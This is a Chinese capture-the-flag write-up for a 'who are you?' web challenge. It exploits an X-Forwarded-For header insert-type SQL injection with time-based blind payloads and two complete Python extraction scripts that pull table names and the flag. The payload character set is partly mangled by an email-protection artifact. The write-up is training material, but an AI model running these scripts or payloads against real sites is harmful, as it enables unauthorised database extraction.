7.who are you?
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPB1UeVRkT6tGVPpHOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLyUjN1EzNxUTMxIDOwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
進入這個頁面,發現他擷取了我的ip,首先想到的就是user agent注入,用updatexml試一下,什麼錯的沒有報...看來這個思路不行(注:user agent注入和updatexml不會的參考Sqli-labs之Less-18和Less-19)
百度了才知道這是一道僞造IP的題,總結下,僞造IP的HTTP頭都有這些:
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
一般用的最多的就是前兩個,這裡我們用X-Forwarded-For來僞造,利用burpsuite工具:
但是很奇怪,嘗試各種注入,發現注入的語句給原封不動地顯示在頁面中,但,如果注入的語句有逗号,則後面的内容就不會顯示在頁面中。看了下别人的writeup發現,他的背景處理過程大緻是這樣的,首先擷取到HTTP-X-Forwarded-For,對他進行字元串的處理,隻截取逗号前的内容,然後直接将其輸出到頁面,再插入到資料庫,但應該沒有對插入結果做處理,即沒有輸出資料庫的報錯僅輸出空,是以想從資料庫的報錯擷取資訊應該是不行了,傳回頁面也是不具判斷性的,那麼可以考慮時間型的盲注
而且題目說:
我要把攻擊我的人都記錄db中去!
可以猜測這是一個INSERT INTO的注入,再結合X-Forwarded-For僞造ip,那麼此題的漏洞可推斷為X-Forwarded-For請求頭insert型注入
猜測服務端使用的腳本為
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (!isset($ip)){
$ip = $_SERVER['REMOTE_ADDR'];
}
$sql = "insert into client_ip(ip) values($ip)";
解決該題有3種方法:
1、利用盲注腳本
2、用burp進行時間盲注
3、用sqlmap進行http頭的盲注
這裡直接介紹第一種:(即二分查找完整py腳本---這個腳本得出的結果會非常慢)
由于沒有回顯,隻能通過基于時間的文法來注入,注入模闆為
' or sleep(3 * ({boolean查詢})) or '
布爾查詢結果為0或1,乘3可以在結果為true時休眠3s。
另外在測試時發現payload逗号後面的字元串被截斷了,需要繞過。最終使用的語句如下
sleep(3 * ((select length(group_concat(table_name)) from information_schema where table_schema=database())<20))
sleep(3 * ((select ord(substr(group_concat(table_name) from 1 for 1)) from information_schema where table_schema=database)>50))
通過二分查找可以縮短查詢時間,py3腳本:
# -*-coding:utf-8-*-
import requests, time, sys
from argparse import ArgumentParser
sqli_tpl = "' or sleep(3 * (({select}){condition})) or '"
select_length_tpl = 'select length(group_concat({field_name})) from {table} {where}'
select_nth_char_tpl = 'select ord(substr(group_concat({field_name}) from {idx} for 1)) from {table} {where}'
def test(select, condition):
print('\ttesting condition:%s\t for select: %s' % (condition, select))
sqli = sqli_tpl.format(select=select, condition=condition)
start = time.time()
try:
resp = requests.get('http://ctf5.shiyanbar.com/web/wonderkun/index.php', headers={'X-Forwarded-For': sqli}, timeout=6)
except KeyboardInterrupt as e:
print('使用者退出!')
sys.exit(0)
except BaseException:
pass
# 如果響應時間大于3秒,測試條件為true
return time.time() - start > 3
def binary_search_length(field, table, where):
print('查詢表: %s 中字段: %s 值的總長度' % (table, field))
select = select_length_tpl.format(field_name=field, table=table, where=(' where ' + where) if where else '')
r = binary_search(select, 0, 10000)
print('表: %s 中字段: %s 值總長度為: %d' % (table, field, r))
return r
def binary_search_value(field, table, where, total_length):
result = ''
for i in range(1, total_length+1):
print('正在查詢第 %d 個字元' % i)
select = select_nth_char_tpl.format(field_name=field, table=table, idx=i, where=(' where ' + where) if where else '')
value = chr(binary_search(select, 0, 128))
print('查詢成功,第 %d 個字元為 %c' % (i, value))
result += value
print('目前結果: %s' % result)
print('查詢結束,表: %s 中字段: %s 的内容為: %s' % (table, field, result))
return result
def binary_search(select, minV, maxV):
median = (minV+maxV)//2
if median == minV:
return minV if test(select, '='+str(minV)) else maxV
if test(select, '>='+str(median)):
return binary_search(select, median, maxV)
else:
return binary_search(select, minV, median)
parser = ArgumentParser(description='基于時間的sql注入測試,通過二分查找實作 --by Monk')
parser.add_argument('-t', '--table', help='要查詢的表名', required=True)
parser.add_argument('-f', '--field', help='要查詢的字段名', required=True)
parser.add_argument('-w', '--where', help='查詢條件')
if __name__ == '__main__':
args = parser.parse_args()
length = binary_search_length(args.field, args.table, args.where)
binary_search_value(args.field, args.table, args.where, length)
使用此腳本查詢三次即可得到答案
1.查詢目前庫中的表
python3 ctf_web2_sqli_who_are_you.py -t information_schema.tables -f table_name -w 'table_schema=database()'
得到client_ip,flag
2.查詢flag表列名有哪些
python3 ctf_web2_sqli_who_are_you.py -t information_schema.columns -f column_name -w "table_name='flag' and table_schema=database()"
得到隻能一個flag列
3.查詢flag表的flag列資料
python3 ctf_web2_sqli_who_are_you.py -t flag -f flag
長度為32位,需要幾分鐘的時間
結果:
(備注:當flag值的結果在到字元100-200多之間不變了,就幾乎可以斷定就是他了,沒必要在運作了,太慢了。)
下面的腳本需要7~8分鐘:
(注下面的腳本是在知道表名為flag,字段名也為flag的前提下運作的,資料庫名,表名,字段名原理同下面的腳本一樣改改就可以使用了)
# -*-coding:utf-8-*-
import requests
import time
payloads = '[email protected]_.{}-' #不區分大小寫的
flag = ""
print("Start")
for i in range(33):
for payload in payloads:
starttime = time.time()#記錄目前時間
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#題目url
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
"Connection": "keep-alive",
"X-FORWARDED-FOR":"127.0.0.1' and case when ((select count(flag) from flag where flag like '"+flag+payload+"%')>0) then sleep(5) else sleep(0) end and '1'='1"
}
#bp拿到header并對X-FORWARDED-FOR進行修改,後面語句大意為從flag中選擇出flag,若首字母段為flag,payload變量拼接則sleep5秒,看不懂的可以學一下case when語句和like %語句
res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
starttime2 = time.time()
res = requests.get(url, headers=headers)
if time.time() - starttime > 5:
flag += payload
print('\n flag is:', flag, )
break
else:
print('',)#沒啥解釋的了,就是不斷試payload,找到就接到flag上去然後繼續試下一個
print('\n[Finally] current flag is %s' % flag)